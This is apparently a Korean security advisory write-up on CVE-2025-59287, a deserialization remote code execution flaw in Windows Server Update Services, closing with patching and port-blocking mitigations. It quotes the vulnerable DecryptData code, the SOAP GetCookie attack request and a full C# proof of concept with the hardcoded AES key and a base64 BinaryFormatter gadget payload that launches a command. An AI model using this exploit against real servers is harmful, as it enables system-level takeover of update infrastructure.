1. WSUS (Windows Server Update Services)
- MS에서 제공하는 서버 역할 중 하나 [1]
- 조직 내 Windows 운영체제와 Microsoft 제품에 대한 업데이트를 중앙에서 관리·배포할 수 있게 해주는 솔루션
2. CVE-2025-59287
- WSUS에서 검증 없이 신뢰할 수 없는 데이터를 역직렬화하여 발생하는 원격 코드 실행 취약점 (CVSS: 9.8) [3]
- 취약점은 EncryptionHelper.DecryptData() 메서드에 존재하며, 복호화된 바이트를 적절한 검증 없이 역직렬화하여 취약점 발생
> [1] : cookieData가 null인지 확인 하고 블록 크기 정렬을 검증
> [2] : cryptoServiceProvider.CreateDecryptor() 를 통해 AES-128-CBC로 cookieData 복호화
> [3] : 암호화된 데이터를 복호화된 블록으로 분할·변환
> [4] : 데이터가 UnencryptedCookieData 인지 또는 역직렬화가 필요한지 확인
> [5] : UnencryptedCookieData가 아닌 경우 복호화된 바이트를 BinaryFormatter.Deserialize()에 전달
internal object DecryptData(byte[] cookieData)
{
if (cookieData == null) ------------------------------------------------------- [1]
{
throw new LoggedArgumentNullException("cookieData");
}
ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor(); -- [2]
byte[] array;
try
{
if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize)
{
throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData");
}
array = new byte[cookieData.Length - cryptoTransform.InputBlockSize]; ------ [3]
cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0);
cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
}
finally
{
cryptoTransform.Dispose();
}
object obj = null;
if (this.classType == typeof(UnencryptedCookieData)) --------------- [4]
{
UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
try
{
unencryptedCookieData.Deserialize(array);
}
catch (Exception ex)
{
if (ex is OutOfMemoryException)
{
throw;
}
throw new LoggedArgumentException(ex.ToString(), "cookieData");
}
obj = unencryptedCookieData;
}
else ----------------------------------------------------------------- [5]
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(array);
try
{
obj = binaryFormatter.Deserialize(memoryStream);
}
catch (Exception ex2)
{
if (ex2 is OutOfMemoryException)
{
throw;
}
throw new LoggedArgumentException(ex2.ToString(), "cookieData");
}
if (obj.GetType() != this.classType)
{
throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData");
}
}
return obj;
}
- 공격자는 아래 HTTP 요청을 WSUS 서버로 전송해 시스템 권한으로 악성 코드를 실행할 수 있음
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>[GENERATED PAYLOAD]</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>
2.1 PoC
- ysooo를 Base64로 디코딩한 후 AES‑128‑CBC로 암호화 및 Base64로 인코딩 [4]
using System;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.Serialization.Formatters.Binary;
namespace hawktracewsus
{
class Program
{
static void Main()
{
//key
string hexKey = "877C14E433638145AD21BD0C17393071";
byte[] key = new byte[16];
for (int i = 0; i < 16; i++)
key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);
string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";
byte[] ser = Convert.FromBase64String(ysooo);
byte[] enc = EncryptPayload(ser, key);
string base64Payload = Convert.ToBase64String(enc);
Console.WriteLine(base64Payload);
}
static byte[] EncryptPayload(byte[] data, byte[] key)
{
using (var aes = new AesCryptoServiceProvider())
{
aes.Key = key;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.None;
aes.IV = new byte[16]; // null
byte[] salt = new byte[16];
new RNGCryptoServiceProvider().GetNonZeroBytes(salt);
using (var encryptor = aes.CreateEncryptor())
{
int num = data.Length % encryptor.InputBlockSize;
int num2 = data.Length - num;
byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize];
encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
encryptor.TransformBlock(data, 0, num2, result, salt.Length);
byte[] paddedBlock = new byte[encryptor.InputBlockSize];
for (int i = 0; i < num; i++)
{
paddedBlock[i] = data[num2 + i];
}
encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2);
return result;
}
}
}
}
}3. 대응방안
- 벤더사 제공 업데이트 적용 [5][6]
> 업데이트를 적용할 수 없는 경우 WSUS 비활성화 또는 8530, 8531 포트로의 인바운드 트래픽 차단 (단, 이 경우 WSUS 기능이 완전히 중단되므로 서비스 영향도 고려 필요)
> WSUS는 기본적으로 비활성화 상태
4. 참고
[1] https://learn.microsoft.com/ko-kr/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-59287
[3] https://hawktrace.com/blog/CVE-2025-59287
[4] https://gist.github.com/hawktrace/880b54fb9c07ddb028baaae401bd3951
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71889&menuNo=205020
[7] https://www.dailysecu.com/news/articleView.html?idxno=201778
